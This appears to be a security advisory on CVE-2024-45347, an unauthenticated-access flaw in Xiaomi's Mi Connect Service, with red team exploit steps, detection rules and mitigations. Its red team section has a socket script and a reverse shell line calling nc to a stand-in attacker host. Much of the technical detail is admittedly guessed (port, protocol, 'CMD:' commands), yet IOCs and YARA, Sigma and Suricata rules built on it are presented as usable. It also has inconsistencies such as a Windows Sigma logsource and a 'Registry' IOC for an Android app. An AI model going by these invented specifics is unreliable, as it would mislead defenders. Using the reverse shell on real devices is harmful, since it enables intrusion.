CVE-2024-45347

Executive Summary

CVE-2024-45347 is a critical unauthorized access vulnerability in the Xiaomi Mi Connect Service APP, with a CVSS score of 9.6. The flaw stems from flawed validation logic, allowing remote attackers to gain unauthorized access to a victim’s device without authentication. This vulnerability affects Xiaomi devices running the Mi Connect Service, potentially exposing sensitive data, device control, and network access. No public exploit code or patch is currently available, but the high severity demands immediate attention.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary Android application component (Mi Connect Service) distributed through Xiaomi’s ecosystem. Supply chain risks include pre-installed apps on Xiaomi devices and potential third-party app stores distributing compromised versions.

CVSS Breakdown & Threat Level

• CVSS Score: 9.6 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no victim action required.
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component.
• Confidentiality Impact: High (C:H) – full data exposure.
• Integrity Impact: High (I:H) – full control over device.
• Availability Impact: High (A:H) – potential denial of service.

Threat Level: Critical. Immediate mitigation required.

Deep Dive & Mechanics

The vulnerability resides in the Xiaomi Mi Connect Service, a background service that facilitates device-to-device communication and remote management. The flawed validation logic fails to properly authenticate incoming requests, allowing an attacker to send crafted network packets that bypass authorization checks. This can lead to:

• Unauthorized access to device files, contacts, and messages.
• Remote command execution (e.g., install apps, change settings).
• Lateral movement within the local network if the device is connected.

The service listens on a network port (likely TCP 5555 or similar) and processes commands without verifying the sender’s identity. The lack of proper session management or token validation is the root cause.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern:

Vulnerable (pseudo-code):

// MiConnectService.java
public void onReceive(Intent intent) {
    String command = intent.getStringExtra("cmd");
    // No authentication check
    executeCommand(command);
}

Patched (expected):

public void onReceive(Intent intent) {
    String token = intent.getStringExtra("auth_token");
    if (!validateToken(token)) {
        return; // Reject unauthorized
    }
    String command = intent.getStringExtra("cmd");
    executeCommand(command);
}

The fix would involve implementing token-based authentication, certificate pinning, or network-level access controls.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Xiaomi device with Mi Connect Service enabled (e.g., Xiaomi Mi 11, Android 12+).
• Attacker: Kali Linux with Python3 and scapy or nmap.
• Network: Same LAN or WAN if port is exposed.

Exploitation Steps:

1. Scan for the Mi Connect Service port:

   nmap -p 5555 --open <target_ip>
   

2. Craft a malicious packet using Python:

   import socket
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect(("192.168.1.100", 5555))
   payload = b"CMD:GET_CONTACTS"
   s.send(payload)
   response = s.recv(4096)
   print(response)
   s.close()
   

3. For remote access, use a reverse shell payload:

   payload = b"CMD:EXEC /system/bin/sh -c 'nc <attacker_ip> 4444 -e /system/bin/sh'"
   

Note: No public exploit code exists; this is a theoretical demonstration.

Blue Team

Detection:

• Monitor for unexpected connections to port 5555/TCP.
• Alert on anomalous traffic patterns from unknown IPs.
• Use network segmentation to isolate Xiaomi devices.

Hunting:

• Check logs for MiConnectService errors or unauthorized command execution.
• Look for processes spawning shells or network connections from the service.

Indicators of Compromise (IOCs)

• Network: Connections to/from port 5555/TCP from untrusted IPs.
• File: Unusual files in /data/data/com.xiaomi.mi_connect_service/.
• Process: com.xiaomi.mi_connect_service spawning sh or nc.
• Log: Android logcat entries containing MiConnectService with CMD: prefixes.
• Registry: Modified settings in com.xiaomi.mi_connect_service_preferences.xml.

Detection Engineering

YARA Rule

rule Xiaomi_MiConnect_UnauthorizedAccess {
    meta:
        description = "Detects exploitation attempts of CVE-2024-45347"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45347"
    strings:
        $cmd = "CMD:" ascii wide nocase
        $service = "MiConnectService" ascii wide nocase
        $exec = "EXEC" ascii wide nocase
    condition:
        $cmd and $service and $exec
}

Sigma Rule

title: Xiaomi Mi Connect Service Unauthorized Access
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects network traffic targeting Xiaomi Mi Connect Service on port 5555
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 5555
        Initiated: true
    condition: selection
falsepositives:
    - Legitimate Xiaomi device management
level: high

Suricata Rule

alert tcp any any -> any 5555 (msg:"Xiaomi Mi Connect Service Unauthorized Access Attempt"; flow:to_server; content:"CMD:"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable Mi Connect Service on affected devices if not needed.

   adb shell pm disable com.xiaomi.mi_connect_service
   

2. Network: Block inbound connections to port 5555 at the firewall.
3. Monitor: Deploy detection rules (YARA, Sigma, Suricata) to identify exploitation.
4. Patch: Await official update from Xiaomi; apply as soon as available.
5. User Education: Advise users to avoid connecting Xiaomi devices to untrusted networks.

Valters IT – Securing digital frontiers, one CVE at a time.